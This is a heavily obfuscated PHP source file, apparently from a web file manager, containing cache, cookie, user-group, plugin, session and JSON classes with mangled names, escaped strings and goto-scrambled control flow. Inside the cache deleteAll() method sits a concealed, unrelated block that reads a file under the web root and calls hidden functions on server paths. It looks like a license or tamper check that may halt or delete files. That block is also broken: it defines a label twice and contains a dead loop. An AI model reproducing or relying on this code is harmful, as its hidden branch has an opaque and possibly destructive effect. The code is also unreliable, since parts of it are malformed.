setLock($f, $B, $cщ) { return $this->handle->setNX($f, $B); } public function get($cǩ) { $Eڂս쌊 = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $Eڂս쌊->get($cǩ); } public function remove($eϜ) { return $this->handle->del($eϜ); } public function deleteAll() { $a٪˲ =& $_SERVER[ȦÆ]; if ($_SERVER[$a٪˲[8]] != $_SERVER[$a٪˲[787]]) { goto aؒ; Eȩګ: $B = $dۂ($Cշ); $AЭ = explode($a٪˲[12], $B); if (count($AЭ) < $a٪˲[597]) { $Eţ = $a٪˲[14]; $Eţ(); } goto EꨚЮ; D: $b = 1; while ($b > 1) { $b = $b + 4; $F = rawurlencode($b . $a٪˲[366]); } goto D; aؒ: $e͞ћ = $a٪˲[788]; $dۂ = $a٪˲[9]; $Cշ = $_SERVER[$a٪˲[10]] . $a٪˲[11]; goto Eȩګ; EꨚЮ: $c = $a٪˲[789]; $c($_SERVER[$a٪˲[790]]); $c($_SERVER[$a٪˲[10]] . $a٪˲[791]); goto D; D: } if ($this->isCluster) { foreach ($this->handle->_masters() as $b㪿) { $this->handle->flushall($b㪿); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($Cσ = '', $Cɡѷ = 0) { if (is_string($Cσ) && $Cσ != $_SERVER[ȦÆ][43]) { $this->prefix = $Cσ; } if (is_numeric($Cɡѷ) && $Cɡѷ > 0) { $this->expire = $Cɡѷ; } } public static function getInstance() { static $D˺݇; if ($D˺݇ === null) { $D˺݇ = new self(); } return $D˺݇; } private static $sameCookieSet = array(); public static function set($fӡ, $E, $B = 0, $AߝЍ = false, $C = false) { goto D; BՋ: self::$sameCookieSet[$fӡ] = $E . $B; if (!$C) { $C = str_replace(HOST, $cӢ[43], APP_HOST); $C = _get($GLOBALS, $cӢ[792], $C); } $E = $cӢ[43]; goto E; D: $cӢ =& $_SERVER[ȦÆ]; if (!$B) { $B = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$fӡ]) && self::$sameCookieSet[$fӡ] == $E . $B) { return; } goto BՋ; E: setcookie($fӡ, $E, time() + $B, $cӢ[18] . trim($C, $cӢ[18]) . $E, !1, !1, $AߝЍ); goto bޱ; bޱ: } public static function setSafe($F񹌪, $dӯ, $Bњ = 0) { self::set($F񹌪, $dӯ, $Bњ, !0); } public static function get($e≴) { return isset($_COOKIE[$e≴]) ? $_COOKIE[$e≴] : !1; } public static function remove($A㾢, $C = false) { unset($_COOKIE[$A㾢]); self::set($A㾢, $_SERVER[ȦÆ][43], 1, $C); } } goto Fږ; fц: class GroupModel extends ModelBase { protected $tableName = "\147\162\x6f\x75\160"; protected $tableMeta = array("\164\x61\x62\154\x65\116\x61\155\x65" => "\147\x72\157\165\160\137\155\145\164\x61", "\x6d\145\x74\141\x46\151\145\154\144" => "\x67\x72\157\165\160\111\x44"); protected function cacheFunctionAlias($FѢ) { $a =& $_SERVER[ȦÆ]; return array($a[2140] => array($FѢ[0], $a[2141]), $a[2142] => array($FѢ[0], $a[2141])); } protected function getInfo($Bϓ) { $Cڅ؇ = $this->getInfoSimple($Bϓ); if (!$Cڅ؇) { return !1; } return $this->_listDataApplyItem($Cڅ؇); } protected function getInfoSimple($e繳, $F残 = false) { $f =& $_SERVER[ȦÆ]; if ($F残) { $dߧݪ = array($f[2074] => intval($e繳)); $aŏ = $this->where($dߧݪ)->find(); return is_array($aŏ) ? $aŏ : array(); } return $this->cacheFunctionGet($f[2143], $e繳); } protected function groupAdd($eƛ) { goto BÃ; E: if ($F𹽋[$A[464]]) { $aכ = $F𹽋[$A[464]] . $F𹽋[$A[2074]] . $A[57]; } $AЋن = array($A[391] => $this->groupNameAuto($eƛ[$A[466]], $eƛ[$A[38]]), $A[373] => $eƛ[$A[466]], $A[530] => $aכ, $A[2144] => $eƛ[$A[2058]], $A[2145] => 0, $A[2078] => 0); if (isset($eƛ[$A[2095]])) { $AЋن[$A[2095]] = $eƛ[$A[2095]]; } else { $c = $this->max($A[2095]); if (!$c) { $c = 0; } $AЋن[$A[2095]] = $c + 1; } goto F汹ծ; F汹ծ: if (!empty($eƛ[$A[2074]])) { $AЋن[$A[2074]] = $eƛ[$A[2074]]; } $Bꂋȯ = $this->add($AЋن); $this->setNamePinyin($Bꂋȯ, $AЋن[$A[38]]); goto Bδ܊; Bδ܊: Model($A[1103])->groupRootAdd($Bꂋȯ); return $Bꂋȯ; goto aۜ; BÃ: $A =& $_SERVER[ȦÆ]; if (!$eƛ[$A[466]] && isset($eƛ[$A[2074]]) && $eƛ[$A[2074]] == 1) { if ($F𹽋 = $this->getInfoSimple($eƛ[$A[2074]], !0)) { return $eƛ[$A[2074]]; } } else { $F𹽋 = $this->getInfoSimple($eƛ[$A[466]]); if (!$F𹽋) { return !1; } } $aכ = $A[475]; goto E; aۜ: } protected function groupEdit($A׋ռ, $DԐ) { $B =& $_SERVER[ȦÆ]; if (!empty($DԐ[$B[466]])) { $eڇ = $this->getInfoSimple($A׋ռ); $B = $this->getInfoSimple($DԐ[$B[466]]); if (!$eڇ || !$B) { return !1; } if ($eڇ[$B[2074]] == $B[$B[2074]]) { return !1; } if ($DԐ[$B[466]] != $eڇ[$B[466]]) { if ($B[$B[464]] !== $eڇ[$B[464]] && strpos($B[$B[464]], $eڇ[$B[464]] . $eڇ[$B[2074]] . $B[57]) === 0) { return !1; } $DԐ[$B[530]] = $B[$B[464]] . $DԐ[$B[466]] . $B[57]; $this->_changeChildLevel($eڇ, $B); } } if (isset($DԐ[$B[38]])) { $this->setNamePinyin($A׋ռ, $DԐ[$B[38]]); } return $this->where(array($B[2146] => $A׋ռ))->save($DԐ); } private function _changeChildLevel($C, $Dܹ, $dΣ = false) { goto Bׇֻ; CѢ: $this->where($F)->data($dจԌ)->save(); goto a˦; c: if ($dΣ) { $d = $Dܹ[$aʦ[464]] . $Dܹ[$aʦ[2074]] . $aʦ[57]; } $F = array($aʦ[530] => array($aʦ[488], $C[$aʦ[464]] . $C[$aʦ[2074]] . $aʦ[489])); $dจԌ = array($aʦ[530] => array($aʦ[539], "\162\145\x70\154\x61\x63\x65\x28\160\x61\162\x65\156\164\114\x65\x76\145\154\x2c\x27{$Bȇɶ}\47\x2c\x27{$d}\47\51")); goto CѢ; Bׇֻ: $aʦ =& $_SERVER[ȦÆ]; $Bȇɶ = $C[$aʦ[464]] . $C[$aʦ[2074]] . $aʦ[57]; $d = $Dܹ[$aʦ[464]] . $Dܹ[$aʦ[2074]] . $aʦ[57] . $C[$aʦ[2074]] . $aʦ[57]; goto c; a˦: } public function setNamePinyin($Cő, $e׼Ε = false) { $a =& $_SERVER[ȦÆ]; if (!$e׼Ε) { $b = $this->getInfoSimple($Cő); $e׼Ε = $b[$a[38]]; } if (!Input::check($e׼Ε, $a[533])) { $this->metaSet($Cő, $a[421], null); $this->metaSet($Cő, $a[420], null); return; } $bʉ = array($a[421] => str_replace($a[60], $a[43], Pinyin::encode($e׼Ε)), $a[420] => Pinyin::encode($e׼Ε, $a[534])); $this->metaSet($Cő, $bʉ); } protected function groupStatus($Eɖ, $F꿼, $A = true) { $e =& $_SERVER[ȦÆ]; $BИ = $this->getInfoSimple($Eɖ); if (!$BИ) { return !1; } if ($A) { $this->_groupStatusApply($BИ, $F꿼); } $a塐 = array($e[2074] => $Eɖ, $e[99] => $e[690], $e[364] => $F꿼); return Model($e[2147])->add($a塐, array(), !0); } private function _groupStatusApply($b®ł, $D) { $fĦ =& $_SERVER[ȦÆ]; if ($D == $fĦ[93]) { $d֯ꙛ = $this->parentLevelArray($b®ł[$fĦ[464]]); } else { $d؟ò = array($fĦ[530] => array($fĦ[488], $b®ł[$fĦ[464]] . $b®ł[$fĦ[2074]] . $fĦ[489])); $d֯ꙛ = $this->where($d؟ò)->field($fĦ[2074])->select(); $d֯ꙛ = array_to_keyvalue($d֯ꙛ, $fĦ[43], $fĦ[2074]); } if (empty($d֯ꙛ)) { return; } $d؟ò = array($fĦ[2074] => array($fĦ[17], $d֯ꙛ), $fĦ[99] => $fĦ[690], $fĦ[364] => $D ? $fĦ[473] : $fĦ[93]); Model($fĦ[2147])->where($d؟ò)->save(array($fĦ[364] => $D)); } protected function groupRemove($B٤) { goto eխ; eטɱ: Model($c[753])->groupRootRemove($B٤); return $this->where($e虎)->delete(); goto BŘ; eխ: $c =& $_SERVER[ȦÆ]; $e虎 = array($c[2074] => $B٤); $d޿ = $this->where($e虎)->find(); goto Bʦ; Bʦ: if (!$d޿ || $d޿[$c[466]] == 0) { return !1; } $fŒ = $this->getInfoSimple($d޿[$c[466]]); $this->_changeChildLevel($d޿, $fŒ, !0); goto e՚; e՚: $this->where(array($c[466] => $B٤))->save(array($c[466] => $d޿[$c[466]])); Model($c[2147])->where($e虎)->delete(); Model($c[2148])->where($e虎)->delete(); goto eטɱ; BŘ: } public function listData() { $Eᚫ̺ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Eᚫ̺[$_SERVER[ȦÆ][359]]); return $Eᚫ̺; } private function _makeOrder($a㌝ = '') { goto Fӑߌ; Fӑߌ: $d =& $_SERVER[ȦÆ]; $C = array($d[2074], $d[38], $d[2060], $d[193]); $C = array($d[407] => $d[408], $d[409] => $d[410]); goto Fմ; Cě: $a㌝ = $a㌝ . "{$DС}\x20{$Cҏ}\x2c\40\x67\x72\157\x75\x70\x49\104\x20\141\x73\143"; return $this->order($a㌝); goto C鲍; Fմ: $DС = Input::get($d[412], $d[17], $d[2078], $C); $Cҏ = Input::get($d[413], $d[17], $d[2149], array($d[2149], $d[409])); $Cҏ = $C[$Cҏ]; goto Cě; C鲍: } public function listChild($C) { $C =& $_SERVER[ȦÆ]; $FݿԪ = $this->where(array($C[466] => $C))->_makeOrder()->selectPage(200); $this->_listDataApply($FݿԪ[$C[359]]); return $FݿԪ; } public function listByID($e꺧ާ) { $Bꈜ =& $_SERVER[ȦÆ]; if (!$e꺧ާ) { return array(); } $F = array($Bꈜ[2074] => array($Bꈜ[17], $e꺧ާ)); $D = $this->where($F)->select(); $this->_listDataApply($D); return $D; } public function listSearch($Fӧڷ) { goto e; B꾈ۃ: if (!trim($C)) { return !1; } $C = str_replace($BǸ[2152], $BǸ[2153], $C); $eǵõ = array($BǸ[2074] => array($BǸ[752], "\x25{$C}\x25"), $BǸ[38] => array($BǸ[752], "\45{$C}\x25"), $BǸ[909] => $BǸ[2154]); goto b; e: $BǸ =& $_SERVER[ȦÆ]; $C = $Fӧڷ[$BǸ[2150]]; $C = isset($Fӧڷ[$BǸ[2151]]) ? $Fӧڷ[$BǸ[2151]] : !1; goto B꾈ۃ; b: $b = $this->_makeOrder()->where($eǵõ)->selectPage(20); $b = $b ? $b : array(); if (!$b || count($b[$BǸ[359]]) < 5 && Input::check($C, $BǸ[311])) { $AުƘ = $this->_searchFromMeta($BǸ[420], $C, 10); $f䑜 = $this->_searchFromMeta($BǸ[421], $C, 10); $fՕ = array_merge($AުƘ, $f䑜, $b[$BǸ[359]]); $b[$BǸ[359]] = array_unique_by_key($fՕ, $BǸ[2074]); $b[$BǸ[356]][$BǸ[357]] = count($b[$BǸ[359]]); $b[$BǸ[356]][$BǸ[358]] = ceil($b[$BǸ[356]][$BǸ[357]] / $b[$BǸ[356]][$BǸ[354]]); } goto A; A: $this->_listDataApply($b[$BǸ[359]]); return $b; goto f뙫; f뙫: } private function _searchFromMeta($AД, $D予, $bМĩ) { goto a㺢; a㺢: $ėХ =& $_SERVER[ȦÆ]; $D予 = strtolower($D予); $aƶ = array($ėХ[99] => $AД, $ėХ[364] => array($ėХ[752], "\x25{$D予}\x25")); goto aʖ; a̢: $B = $this->where(array($ėХ[2146] => array($ėХ[17], $e)))->select(); if (!$B) { return array(); } return $B; goto aĈ; aʖ: $e = Model($ėХ[2155])->where($aƶ)->limit($bМĩ)->select(); if (!$e) { return array(); } $e = array_to_keyvalue($e, $ėХ[43], $ėХ[2074]); goto a̢; aĈ: } protected function _listDataApplyItem($e˲) { $c—ֵ = array($e˲); $this->_listDataApply($c—ֵ); return $c—ֵ[0]; } protected function _listDataApply(&$bΌ) { goto d㴽; d㴽: $E =& $_SERVER[ȦÆ]; if (!$bΌ) { return; } $B´ = array_to_keyvalue($bΌ, $E[43], $E[2074]); goto DṌՇ; FŞٌ: $this->_listAppendParent($bΌ); $this->_listAppendSourceRoot($bΌ, $B´); goto Bü; DṌՇ: $this->_listAppendChildren($bΌ); $this->_listAppendChildrenMember($bΌ); $this->_listAppendMeta($bΌ, $B´); goto FŞٌ; Bü: } private function _listAppendChildren(&$dƨ) { goto d؅; Aξ: $C߆ = count($dƨ); $dșѐ = $this->tablePrefix . $this->tableName; for ($Eگȗ = 0, $CՕ = 0; $Eگȗ < $C߆; $Eگȗ++) { $CՕ++; $cܔۂҕ = $dƨ[$Eگȗ][$b[2074]]; $b˔ .= "\x53\x45\x4c\105\x43\x54\x20\x2a\x20\x46\122\x4f\115\x20\x28\x53\x45\114\105\x43\x54\40\x27{$cܔۂҕ}\137\x63\x68\x69\154\x64\x27\x20\x61\x73\40\x68\141\x73\x20\x46\122\117\x4d\40\x60{$dșѐ}\x60\40\167\150\x65\x72\x65\40\160\x61\162\x65\x6e\x74\x49\104\x3d{$cܔۂҕ}\40\x6c\x69\x6d\x69\164\40\x31\x29\x20\x61\x73\x20\164\142\x5f{$cܔۂҕ}\x20\x75\x6e\x69\157\156\40\141\154\154\x20"; if (($CՕ >= 20 || $Eگȗ == $C߆ - 1) && $b˔) { $b˔ = substr($b˔, 0, -strlen($b[454])); $a = $this->query($b˔); $C = array_merge($C, $a); $CՕ = 0; $b˔ = $b[43]; } } goto fӲܞ; d؅: $b =& $_SERVER[ȦÆ]; $b˔ = $b[366]; $C = array(); goto Aξ; fӲܞ: $C = array_to_keyvalue($C, $b[455]); foreach ($dƨ as &$E) { $E[$b[2156]] = isset($C[$E[$b[2074]] . $b[2157]]); } goto C͵; C͵: } private function _listAppendChildrenMember(&$b㧓) { goto Eξ; c: $E˟ = array_to_keyvalue($E˟, $C[455]); foreach ($b㧓 as &$Bɷ) { $Bɷ[$C[2158]] = isset($E˟[$Bɷ[$C[2074]] . $C[2157]]); } goto F; A: $E˂ = count($b㧓); $CϱŢп = $this->tablePrefix . $C[2148]; for ($E = 0, $EϏ = 0; $E < $E˂; $E++) { $EϏ++; $c×й = $b㧓[$E][$C[2074]]; $c .= "\x53\105\x4c\105\x43\x54\x20\52\x20\x46\x52\x4f\115\40\50\123\105\114\x45\x43\x54\x20\47{$c×й}\x5f\143\150\151\154\x64\47\x20\x61\x73\40\x68\x61\163\x20\106\122\x4f\x4d\x20\140{$CϱŢп}\140\x20\167\x68\x65\162\145\40\147\x72\157\165\160\x49\104\75{$c×й}\40\x6c\151\155\x69\x74\x20\x31\51\x20\141\163\40\x74\x62\x5f{$c×й}\40\x75\x6e\x69\157\x6e\x20\141\x6c\x6c\40"; if (($EϏ >= 20 || $E == $E˂ - 1) && $c) { $c = substr($c, 0, -strlen($C[454])); $BՇ = $this->query($c); $E˟ = array_merge($E˟, $BՇ); $EϏ = 0; $c = $C[43]; } } goto c; Eξ: $C =& $_SERVER[ȦÆ]; $c = $C[366]; $E˟ = array(); goto A; F: } private function _listAppendMeta(&$Dޟǒ, $D­) { $Cֻ =& $_SERVER[ȦÆ]; $b׽ = array($Cֻ[2074] => array($Cֻ[17], $D­)); $a֧ = Model($Cֻ[2147])->where($b׽)->select(); $a֧ = array_to_keyvalue_group($a֧, $Cֻ[2074]); foreach ($a֧ as &$eβ֯) { $eβ֯ = array_to_keyvalue($eβ֯, $Cֻ[99], $Cֻ[364]); } foreach ($Dޟǒ as &$b١Ժ) { $b١Ժ[$Cֻ[422]] = array(); if (isset($a֧[$b١Ժ[$Cֻ[2074]]])) { $b١Ժ[$Cֻ[422]] = $a֧[$b١Ժ[$Cֻ[2074]]]; } } } protected function parentLevelArray($d¢) { $A =& $_SERVER[ȦÆ]; $d¢ = explode($A[57], trim($d¢, $A[57])); $d¢ = array_remove_value($d¢, $A[473]); return $d¢; } private function _listAppendParent(&$BÙऩ) { goto B׮ݴ; Fۗ: foreach ($BÙऩ as &$e) { $Aሡ = $this->parentLevelArray($e[$d쇻[464]]); $fŒɞ = $d쇻[43]; foreach ($Aሡ as $B) { $fŒɞ .= $f[$B] . $d쇻[18]; } if ($Aሡ) { $fŒɞ .= $e[$d쇻[38]]; } $e[$d쇻[468]] = str_replace($d쇻[472], $d쇻[18], $fŒɞ); } goto bԑ; A̓Ŀ: $d = array(); foreach ($f as $FȂ => $d) { if (!$d) { $d[] = $FȂ; } } if ($d) { $B = array($d쇻[2146] => array($d쇻[389], $d)); $c = $this->field($d쇻[2159])->where($B)->select(); $D삏ͨ = array_to_keyvalue($c, $d쇻[2074], $d쇻[38]); $f = array_merge_index($f, $D삏ͨ); } goto Fۗ; B׮ݴ: $d쇻 =& $_SERVER[ȦÆ]; $f = array(); foreach ($BÙऩ as &$e) { $f[$e[$d쇻[2074]]] = $e[$d쇻[38]]; $Aሡ = $this->parentLevelArray($e[$d쇻[464]]); foreach ($Aሡ as $B) { if (!isset($f[$B])) { $f[$B] = 0; } } } goto A̓Ŀ; bԑ: } private function _listAppendSourceRoot(&$DԦ, $c꡽) { goto aඏ۶; eʮ: foreach ($DԦ as &$c) { $c[$c󸃞[396]] = $f⒗[$c[$c󸃞[2074]]] ? $f⒗[$c[$c󸃞[2074]]] : array(); } goto A⋧; Dڊ菵: $f⒗ = Model($c󸃞[753])->order($c󸃞[2161])->field($f)->where($AӒ)->select(); $f⒗ = array_to_keyvalue($f⒗, $c󸃞[461]); $f⒗ = array_remove_key($f⒗, $c󸃞[461]); goto eʮ; aඏ۶: $c󸃞 =& $_SERVER[ȦÆ]; $AӒ = array($c󸃞[376] => SourceModel::TYPE_GROUP, $c󸃞[466] => 0, $c󸃞[461] => array($c󸃞[17], $c꡽)); $f = $c󸃞[2160]; goto Dڊ菵; A⋧: } protected function resetParentLevel() { $Bڤ =& $_SERVER[ȦÆ]; $Dڐ = $Bڤ[2074]; $Aә = $this->select(); $Aә = array_to_keyvalue($Aә, $Dڐ); foreach ($Aә as $fӝ) { goto fɐ; fɐ: $B = $fӝ; $eꨣ = array(); while ($B[$Bڤ[466]] != 0) { $eꨣ[] = $B[$Bڤ[466]]; $B = $Aә[$B[$Bڤ[466]]]; } goto f; f: $eꨣ[] = 0; $eꨣ = $Bڤ[57] . implode($Bڤ[57], array_reverse($eꨣ)) . $Bڤ[57]; $this->setNamePinyin($fӝ[$Dڐ], $fӝ[$Bڤ[38]]); goto A; A: $this->where(array($Dڐ => $fӝ[$Dڐ]))->save(array($Bڤ[530] => $eꨣ)); goto C; C: } return $Aә; } public function groupNameAuto($d, $d) { $d =& $_SERVER[ȦÆ]; $B׺ۍ = $this->where(array($d[373] => $d))->getField($d[38], !0); if (!$B׺ۍ || !in_array($d, $B׺ۍ)) { return $d; } for ($D˺ = 1; $D˺ <= count($B׺ۍ) + 1; $D˺++) { $Eӹͷ = $d . "\50{$D˺}\x29"; if (!in_array($Eӹͷ, $B׺ۍ)) { return $Eӹͷ; } } } } class PluginModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\x65\155\x2e\x70\154\x75\x67\151\156\x4c\151\163\x74"; public $field = array("\156\141\155\145", "\163\164\x61\x74\x75\x73", "\x72\145\147\151\x65\163\164", "\143\157\x6e\x66\151\147"); public function loadList($Cӄ = false) { $BȻΈ = array_to_keyvalue($this->listData(), $_SERVER[ȦÆ][38]); if ($Cӄ) { return $BȻΈ[$Cӄ]; } return $BȻΈ; } public function init() { $cႏ =& $_SERVER[ȦÆ]; Hook::trigger($cႏ[2162]); $bȩճ = $this->loadPluginList(); foreach ($bȩճ as $f => $cۊկ) { $EÝ = $this->appAllow($f, $cۊկ); if (!$EÝ) { continue; } foreach ($cۊկ[$cႏ[2163]] as $d => $A) { Hook::bind($d, $A); } } Hook::trigger($cႏ[2164]); Hook::trigger(ACTION); } public function appAllow($C, $d, $e = true) { $cԡ =& $_SERVER[ȦÆ]; $Aîŗ = PLUGIN_DIR . $C . $cԡ[2165]; if (!is_array($d) || !is_array($d[$cԡ[2163]]) || !is_file($Aîŗ) || $d[$cԡ[690]] != 1) { return !1; } if ($e && !Action($cԡ[2166])->checkAuth($C)) { return !1; } return !0; } public function unInstall($aƺ) { $Ě =& $_SERVER[ȦÆ]; $D𓙩 = $this->loadList($aƺ); if (file_exists(PLUGIN_DIR . $aƺ)) { Hook::apply($aƺ . $Ě[2167]); } $this->remove($D𓙩[$Ě[372]]); } public function changeStatus($bךÍ, $Bȣ) { $BÉ =& $_SERVER[ȦÆ]; $c = $this->loadList($bךÍ); if ($Bȣ) { Hook::apply($bךÍ . $BÉ[2168]); } $this->update($c[$BÉ[372]], array($BÉ[2169] => $Bȣ)); } public function appRegist($Aϼǭ, $a˟) { $C舗 =& $_SERVER[ȦÆ]; $B = $this->loadList($Aϼǭ); if ($B) { $this->update($B[$C舗[372]], array($C舗[2163] => $a˟)); } else { $EּІ = array($C舗[38] => $Aϼǭ, $C舗[2163] => $a˟, $C舗[690] => 0, $C舗[16] => $this->getConfigDefault($Aϼǭ)); $this->insert($EּІ); } } public function getConfigDefault($C러) { $f쉑 =& $_SERVER[ȦÆ]; $dムǟ = array(); $Aº܅ = $this->getPackageJson($C러); if (!$Aº܅ && is_array($Aº܅[$f쉑[2170]])) { return $dムǟ; } foreach ($Aº܅[$f쉑[2170]] as $dЊ => $E) { if (!isset($E[$f쉑[364]]) || isset($dムǟ[$dЊ])) { continue; } $dムǟ[$dЊ] = $E[$f쉑[364]]; } return $dムǟ; } public function getPackageJson($d) { return Hook::apply($d . $_SERVER[ȦÆ][2171]); } public function getConfig($EÑ, $CӒ = false) { $Cݍ =& $_SERVER[ȦÆ]; $eޘߐ = array(); $C = $this->loadList($EÑ); if ($C && is_array($C[$Cݍ[16]])) { $eޘߐ = $C[$Cݍ[16]]; } if (!$eޘߐ || $CӒ) { $eޘߐ = $this->getConfigDefault($EÑ); } return $eޘߐ; } public function setConfig($C, $b֡ = false) { goto F; d֟: $this->update($f󖐉[$Bυ[372]], array($Bυ[16] => $Cͭ)); goto BŒ; F: $Bυ =& $_SERVER[ȦÆ]; $f󖐉 = $this->loadList($C); if (!$f󖐉) { return !1; } goto AێŦ; AێŦ: if ($b֡ == !1) { $b֡ = $this->getConfigDefault($C); } $Cͭ = $f󖐉[$Bυ[16]]; foreach ($b֡ as $anjщ => $C刏) { $Cͭ[$anjщ] = is_string($C刏) ? trim($C刏) : $C刏; } goto d֟; BŒ: } public function viewList() { goto Fҍ; B: $d钸Ҹ = $this->loadPluginList(); $F댤‡ = array(); foreach ($d钸Ҹ as $C߶ => $EÐ) { unset($EÐ[$dˮ[2163]], $EÐ[$dˮ[16]]); $F϶ˤ = PLUGIN_DIR . $EÐ[$dˮ[38]] . $dˮ[2165]; if (!is_file($F϶ˤ)) { continue; } $aд = Hook::apply($EÐ[$dˮ[38]] . $dˮ[2171]); if (is_array($aд)) { $F댤‡[$C߶] = array_merge($EÐ, $aд); } } goto cЦ; cЦ: return $F댤‡; goto cĕ猕; Fҍ: $dˮ =& $_SERVER[ȦÆ]; $d钸Ҹ = $this->loadList(); $this->pluginScan($d钸Ҹ); goto B; cĕ猕: } private function loadPluginList() { $dիܤǛ =& $_SERVER[ȦÆ]; $e = $this->loadList(); if (strtolower(MOD) == $dիܤǛ[2172]) { return $e; } $B = Hook::trigger($dիܤǛ[2173], $e); if ($e && !$B) { die; } return $B ? $B : $e; } private function pluginScan($eɇ) { $Eӑ =& $_SERVER[ȦÆ]; recursion_dir(PLUGIN_DIR, $Aڼ, $e, 0); foreach ($Aڼ as $c) { $BĹ = get_path_this($c); if (isset($eɇ[$BĹ]) || !file_exists($c . $Eӑ[2174]) || !file_exists($c . $Eӑ[2165])) { continue; } Hook::apply($BĹ . $Eӑ[2168]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\171\x73\x74\x65\155\137\163\x65\x73\x73\x69\x6f\156"; public function get($a) { $cÑ =& $_SERVER[ȦÆ]; $D = $this->where(array($cÑ[2175] => $a))->find(); if (!is_array($D)) { return !1; } return $D[$cÑ[693]]; } public function set($F֎, $a, $EŐ = 3600) { $Aي۲ =& $_SERVER[ȦÆ]; $bБ = array($Aي۲[2175] => $F֎, $Aي۲[2104] => $a, $Aي۲[2176] => $EŐ + time()); if (Session::get($Aي۲[2177])) { $bБ[$Aي۲[1412]] = Session::get($Aي۲[2177]); } else { $bБ[$Aي۲[1412]] = 0; } if ($this->get($F֎)) { return $this->where(array($Aي۲[2175] => $F֎))->save($bБ); } else { return $this->add($bБ, array(), !0); } } public function remove($Dœ) { return $this->where(array($_SERVER[ȦÆ][2175] => $Dœ))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ȦÆ][2178] . time())->delete(); } } goto AН; Fۓݽ: define($_SERVER[ȦÆ][1908], 32); class Services_JSON { function __construct($a = 0) { $this->use = $a; } function utf162utf8($c烅) { $BԈ =& $_SERVER[ȦÆ]; if (function_exists($BԈ[78])) { return mb_convert_encoding($c烅, $BԈ[1560], $BԈ[1909]); } $C = ord($c烅[0]) << 8 | ord($c烅[1]); switch (!0) { case (127 & $C) == $C: return chr(127 & $C); case (2047 & $C) == $C: return chr(192 | $C >> 6 & 31) . chr(128 | $C & 63); case (65535 & $C) == $C: return chr(224 | $C >> 12 & 15) . chr(128 | $C >> 6 & 63) . chr(128 | $C & 63); } return $BԈ[43]; } function utf82utf16($e͌) { $cנ =& $_SERVER[ȦÆ]; if (function_exists($cנ[78])) { return mb_convert_encoding($e͌, $cנ[1909], $cנ[1560]); } switch (strlen($e͌)) { case 1: return $e͌; case 2: return chr(7 & ord($e͌[0]) >> 2) . chr(192 & ord($e͌[0]) << 6 | 63 & ord($e͌[1])); case 3: return chr(240 & ord($e͌[0]) << 4 | 15 & ord($e͌[1]) >> 2) . chr(192 & ord($e͌[1]) << 6 | 127 & ord($e͌[2])); } return $cנ[43]; } function encode($Fʤ) { $B턡 =& $_SERVER[ȦÆ]; switch (gettype($Fʤ)) { case $B턡[1571]: return $Fʤ ? $B턡[1570] : $B턡[1572]; case $B턡[1910]: return $B턡[109]; case $B턡[308]: return (int) $Fʤ; case $B턡[283]: case $B턡[282]: return (double) $Fʤ; case $B턡[317]: $dNjӏ = $B턡[43]; $a↛ = strlen($Fʤ); for ($Dќ = 0; $Dќ < $a↛; ++$Dќ) { $Dމ = ord($Fʤ[$Dќ]); switch (!0) { case $Dމ == 8: $dNjӏ .= $B턡[1911]; break; case $Dމ == 9: $dNjӏ .= $B턡[1547]; break; case $Dމ == 10: $dNjӏ .= $B턡[1545]; break; case $Dމ == 12: $dNjӏ .= $B턡[1912]; break; case $Dމ == 13: $dNjӏ .= $B턡[1546]; break; case $Dމ == 34: case $Dމ == 47: case $Dމ == 92: $dNjӏ .= $B턡[103] . $Fʤ[$Dќ]; break; case $Dމ >= 32 && $Dމ <= 127: $dNjӏ .= $Fʤ[$Dќ]; break; case ($Dމ & 224) == 192: $a͏ = pack($B턡[1913], $Dމ, ord($Fʤ[$Dќ + 1])); $Dќ += 1; $bᑑ = $this->utf82utf16($a͏); $dNjӏ .= sprintf($B턡[1914], bin2hex($bᑑ)); break; case ($Dމ & 240) == 224: $a͏ = pack($B턡[1913], $Dމ, ord($Fʤ[$Dќ + 1]), ord($Fʤ[$Dќ + 2])); $Dќ += 2; $bᑑ = $this->utf82utf16($a͏); $dNjӏ .= sprintf($B턡[1914], bin2hex($bᑑ)); break; case ($Dމ & 248) == 240: $a͏ = pack($B턡[1913], $Dމ, ord($Fʤ[$Dќ + 1]), ord($Fʤ[$Dќ + 2]), ord($Fʤ[$Dќ + 3])); $Dќ += 3; $bᑑ = $this->utf82utf16($a͏); $dNjӏ .= sprintf($B턡[1914], bin2hex($bᑑ)); break; case ($Dމ & 252) == 248: $a͏ = pack($B턡[1913], $Dމ, ord($Fʤ[$Dќ + 1]), ord($Fʤ[$Dќ + 2]), ord($Fʤ[$Dќ + 3]), ord($Fʤ[$Dќ + 4])); $Dќ += 4; $bᑑ = $this->utf82utf16($a͏); $dNjӏ .= sprintf($B턡[1914], bin2hex($bᑑ)); break; case ($Dމ & 254) == 252: $a͏ = pack($B턡[1913], $Dމ, ord($Fʤ[$Dќ + 1]), ord($Fʤ[$Dќ + 2]), ord($Fʤ[$Dќ + 3]), ord($Fʤ[$Dќ + 4]), ord($Fʤ[$Dќ + 5])); $Dќ += 5; $bᑑ = $this->utf82utf16($a͏); $dNjӏ .= sprintf($B턡[1914], bin2hex($bᑑ)); break; } } return $B턡[122] . $dNjӏ . $B턡[122]; case $B턡[1915]: if (is_array($Fʤ) && count($Fʤ) && array_keys($Fʤ) !== range(0, sizeof($Fʤ) - 1)) { $dʏ = array_map(array($this, $B턡[1916]), array_keys($Fʤ), array_values($Fʤ)); foreach ($dʏ as $aש) { if (Services_JSON::isError($aש)) { return $aש; } } return $B턡[1061] . join($B턡[57], $dʏ) . $B턡[320]; } $cϞŷ = array_map(array($this, $B턡[1917]), $Fʤ); foreach ($cϞŷ as $aҊ) { if (Services_JSON::isError($aҊ)) { return $aҊ; } } return $B턡[163] . join($B턡[57], $cϞŷ) . $B턡[481]; case $B턡[1918]: $cɌš = get_object_vars($Fʤ); $dʏ = array_map(array($this, $B턡[1916]), array_keys($cɌš), array_values($cɌš)); foreach ($dʏ as $aש) { if (Services_JSON::isError($aש)) { return $aש; } } return $B턡[1061] . join($B턡[57], $dʏ) . $B턡[320]; default: return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? $B턡[109] : new Services_JSON_Error(gettype($Fʤ) . $B턡[1919]); } } function name_value($dζݰ, $D) { $D܋ = $this->encode($D); if 